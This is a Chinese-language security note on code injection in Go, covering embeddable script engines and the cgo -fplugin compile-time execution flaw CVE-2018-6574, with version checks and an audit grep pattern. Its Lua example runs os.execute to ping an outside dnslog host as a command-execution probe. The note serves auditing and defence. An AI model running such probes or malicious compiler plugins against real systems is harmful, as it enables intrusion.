go语言时编译语言,运行时不存在代码注入,但在编译时曾存在任意代码执行漏洞cve-2018-6574
go热门内嵌脚本:
Project Name | Stars | Forks | Description |
---|---|---|---|
anko | 998 | 87 | Anko is a scriptable interpreter written in Go. |
gopher-lua | 3400 | 369 | GopherLua: VM and compiler for Lua in Go |
go-python | 1000 | 112 | naive go bindings to the CPython C-API |
go-php | 734 | 86 | PHP bindings for the Go programming language (Golang) |
go-duktape | 701 | 79 | Duktape JavaScript engine bindings for Go |
go-lua | 1800 | 136 | A Lua VM in Go |
golua | 471 | 162 | Go bindings for Lua C API - in progress |
gisp | 437 | 324 | Simple LISP in Go |
v8 | 315 | 63 | A Go API for the V8 javascript engine. |
agora | 323 | 36 | a dynamically typed, garbage collected, embeddable programming language built with Go |
purl | 29 | 2 | Perl, but fluffy like a cat! |
go内嵌lua脚本样列:
func main() {
L := lua.NewState()
defer L.Close()
if err := L.DoString(`print("hello world.")`); err != nil {
panic(err)
}
if err := L.DoString(`os.execute("ping -c 3 pg9e5n.dnslog.cn")`); err != nil {
panic(err)
}
}
before 1.8.7
Go 1.9.x before 1.9.4
Go 1.10 pre-releases before Go 1.10rc2
Go语言允许与C语言互操作,即在Go语言中直接使用C代码。代码可以通过go build或go run来编译和执行,但实际编译过程中,go调用了名为cgo的工具,cgo会识别和读取Go源文件中的C元素,并将其提取后交给C编译器编译,最后Go源码编译后的目标文件链接成一个可执行程序。
gcc/clang这类的C编译器有CFLAGS,LDFLAGS
等编译开关让开发者在编译时指定设置。cgo作为一个gcc的封装,自然也支持这类的编译开关选项。而gcc编译时,可以通过-fplugin
指定额外的插件,gcc在编译时会加载这个插件。
因此,除了在Go源码文件中可以嵌入了C代码之外,还可以指定通过#cgo CFLAGS
指定gcc编译时的恶意插件。cgo在解析到CFLAGS关键字时,会将后面的编译选项传递给gcc。-fplugin
指定额外的插件,可为任意的动态库,因此就获得了代码的执行权限。
这类漏洞本地执行不会有什么问题,因为自己不会引入恶意代码。但是使用go get
导入恶意远程包的时候就存在问题。
package main
import "C"
import "unsafe"
/*
#include <stdio.h>
#include <stdlib.h>
void c_print(char *str) {
printf("%s\n", str);
}
*/
import "C" //import “C” 必须单起一行,并且紧跟在注释行之后
func main() {
s := "Hello Cgo"
cs := C.CString(s)//字符串映射
C.c_print(cs)//调用C函数
defer C.free(unsafe.Pointer(cs))//释放内存
}
漏洞修复:
Go官方在最新版本中,加强了对编译和链接环节的检查过滤; 只允许指定的编译链接选项代入gcc执行,其他未经允许的都会被禁止。
- 使用
go version
查看go版本,如果版本在before 1.8.7、Go 1.9.x before 1.9.4、Go 1.10 pre-releases before Go 1.10rc2
则存在问题。 - 搜索代码import的包,查看是否含有如下关键字
mattn/anko/|yuin/gopher-lua|sbinet/go-python|deuill/go-php|olebedev/go-duktape|Shopify/go-lua|/golua/lua|jcla1/gisp|augustoroman/v8|mna/agora|ian-kent/purl
,如果存在,进一步判断是否调用外部可控的代码执行命令。